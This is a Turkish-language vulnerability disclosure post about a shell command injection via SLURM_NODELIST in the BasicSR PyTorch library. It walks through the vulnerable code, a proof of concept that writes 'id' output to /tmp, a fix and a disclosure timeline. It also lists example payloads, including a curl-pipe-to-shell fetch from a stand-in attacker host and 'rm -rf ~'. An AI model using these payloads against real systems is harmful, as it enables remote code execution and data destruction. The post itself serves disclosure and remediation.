CVE-2024-27763 (CVSS 5.3)’ü BasicSR maintainer’larına Mart 2025’te raporladım. BasicSR görüntü ve video super-resolution için yaygın kullanılan bir PyTorch kütüphanesi. 1.4.2 ve öncesi sürümler, SLURM_NODELIST environment variable’ını hiçbir escape uygulamadan doğrudan bir shell komutuna sokuyor. O variable’ı kontrol ediyorsan shell’i de kontrol ediyorsun. GitHub advisory’sini GHSA-86w8-vhw6-q9qq olarak 12 Mart 2025’te yayımladı. Henüz patched bir sürüm yok.

Arka plan

Bunu popüler ML repolarında subprocess.getoutput(f' pattern’ini grepleyerek buldum; BasicSR, interpolate edilen değişkenin gerçekten saldırgan etki edebileceği bir kaynaktan geldiği ilk somut sonuçtu.

BasicSR’ın distributed training entry point’i iki launcher destekliyor: PyTorch’un kendisi ve SLURM. SLURM tarafının master node’u bilmesi gerekiyor, o yüzden node list’i genişletmek için scontrol‘a soruyor:

scontrol show hostname compute-[01-04] | head -n1

Node list (compute-[01-04]) launch sırasında SLURM tarafından geliyor. İlk hostname torch.distributed için rendezvous adresi oluyor. Buraya kadar sorun yok; sorun scontrol‘ı nasıl çağırdığında.

Savunmasız kod

basicsr/utils/dist_util.py, _init_dist_slurm içinde, 44. satır:

def _init_dist_slurm(backend, port=None):
    proc_id = int(os.environ['SLURM_PROCID'])
    ntasks = int(os.environ['SLURM_NTASKS'])
    node_list = os.environ['SLURM_NODELIST']
    num_gpus = torch.cuda.device_count()
    torch.cuda.set_device(proc_id % num_gpus)
    addr = subprocess.getoutput(f'scontrol show hostname {node_list} | head -n1')
    ...

O addr = satırında üç şey oluyor, sadece bir tanesi yazarın niyeti:

  1. node_list environment’tan okunuyor.
  2. Hiçbir quoting uygulanmadan string’in içine konuyor.
  3. String subprocess.getoutput‘a veriliyor, o da /bin/sh -c üzerinden çalıştırıyor.

subprocess.getoutput aslında subprocess.Popen(..., shell=True)‘nin ince bir wrapper’ı. Shell’in yorumladığı her şey (backtick’ler, $(), ;, &&, |, >) yorumlanıyor. Sıfır sanitization. Yazar sadece ilk hostname’i istemişti.

Proof of concept

SLURM_NODELIST‘i shell’in çalıştıracağı bir şeye set et, SLURM init path’ini tetikle. Diğer env variable’lar enjeksiyonu göstermek için önemli değil; vulnerable satırdan önce kontrol ediliyorlar ama hata (int(...) üzerinde ValueError) shell komutu çalıştıktan sonra patlıyor.

# Adım 1: SLURM_NODELIST üzerinden payload hazırla
export SLURM_PROCID=0
export SLURM_NTASKS=1
export SLURM_NODELIST='$(id > /tmp/pwned)'

# Adım 2: SLURM init path'ini tetikle
python3 -c "
from basicsr.utils.dist_util import _init_dist_slurm
try:
    _init_dist_slurm('nccl')
except Exception:
    pass
"

# Adım 3: doğrula
cat /tmp/pwned
# uid=1000(yunus) gid=1000(yunus) groups=1000(yunus),...

Shell $(id > /tmp/pwned)‘i scontrol show hostname boş input’la patlamadan önce expand ediyor. Sonrasında gelen Python exception’ı kozmetik; komut training job’unun yetkileriyle zaten çalıştı.

Aynı şey her şey için işliyor: ;curl attacker.tld/x.sh|sh;#, &&rm -rf ~, ne istersen. Shell’in umurunda değil.

Etki

Lokal ve SLURM_NODELIST kontrolü gerektiriyor; pratik risk tamamen o variable’ı kimin set edebildiğine bağlı:

  • Multi-tenant SLURM cluster’larında, kullanıcılar BasicSR import eden job’lar gönderiyorsa: herhangi bir kullanıcı, training’i başlatmadan önce kötü niyetli bir SLURM_NODELIST export eden bir job script’i yazabilir. Kendi job’undan, BasicSR kullanan job’un çalıştığı hesaba (genellikle ortak compute kullanıcıları) sıçrayabilir.
  • CI/CD pipeline’larında, BasicSR’ı job parametrelerinden veya dış config’den gelen environment variable’larla çalıştıranlar: o parametreleri etkileyebilen saldırgan runner’da komut çalıştırır.
  • Docker / Kubernetes image’larında, SLURM_NODELIST downstream bir değerden (label, annotation, workflow input) geliyorsa: aynı hikaye.

BasicSR’ı sadece kendi laptop’unda elle set ettiğin env variable’larla çalıştırıyorsan etkilenmiyorsun. Paylaşımlı altyapıda çalıştırıyorsan etkileniyorsun.

Düzeltme

Shell’e dökme. scontrol show hostname node list’i argv olarak alıyor; liste olarak ver, Python shell’i tamamen es geçsin:

import subprocess

result = subprocess.run(
    ['scontrol', 'show', 'hostname', node_list],
    capture_output=True,
    text=True,
    check=True,
)
addr = result.stdout.splitlines()[0]

Bu shell=True‘yu kaldırıyor, interpolation’ı kaldırıyor, | head -n1 pipe’ını kaldırıyor (ilk satırı Python alabilir) ve tüm saldırı yüzeyini kaldırıyor. Multi-tenant senaryoda node_list hala saldırgan kontrolünde, ama execve $(...)‘ı yorumlamayacak. Saldırganın yapabileceği en kötü şey scontrol‘ın tanımadığı bir node list göndermek; o da sessizce değil, sesli patlıyor.

Mutlaka shell pipeline gerekiyorsa, en azından node_list‘in SLURM node syntax’ına (^[a-zA-Z0-9_\-\[\],]+$) uyduğunu doğrula, gerisini reddet. Ama subprocess.run versiyonu hem daha kısa hem daha güvenli, onu kullan.

Bu pattern neden hep çıkıyor

Üç şey bunu sürekli tetikliyor. subprocess.getoutput masum görünüyor: string operation gibi duruyor, shell’e döktüğü detayı dokümantasyonun derinlerinde. f-string enjeksiyonu formatting gibi hissettiriyor; f'cmd {var}' yapısal duruyor, geliştirici komutun şeklini düşünüyor, var‘ı kimin kontrol ettiğini değil. Environment variable’lar ise örtük güven görüyor: request.GET['x']‘e asla güvenmeyecek bir kod, os.environ['X']‘e seve seve güveniyor. Single-tenant ortamda sorun yok; paylaşımlı altyapıda sorun.

Tüm bu sınıfı CWE-77 kapsıyor. Her Python güvenlik checklist’i bunu yapmamanı söylüyor. Yine de production’a çıkıyor, çünkü subprocess.getoutput(f'... {var} ...') satırı tehlikeli olamayacak kadar küçük görünüyor. BasicSR hala 1.4.2’de. Satır hala duruyor. Bağımlılığını sabitle, ya da paylaşımlı altyapıda çalıştırma.

Raporlama zaman çizelgesi

  • 11 Mart 2025: BasicSR repository’sinde GitHub Security Advisory üzerinden raporladım.
  • 12 Mart 2025: CVE-2024-27763 yayımlandı. GHSA-86w8-vhw6-q9qq atandı. CVSS 5.3.
  • 13 Mart 2025: Review edildi.
  • Eylül 2026: Hala patched release yok. Bu yazıyı yazdığım sırada vulnerable kod HEAD’de duruyor.

Referanslar

İlgili içerik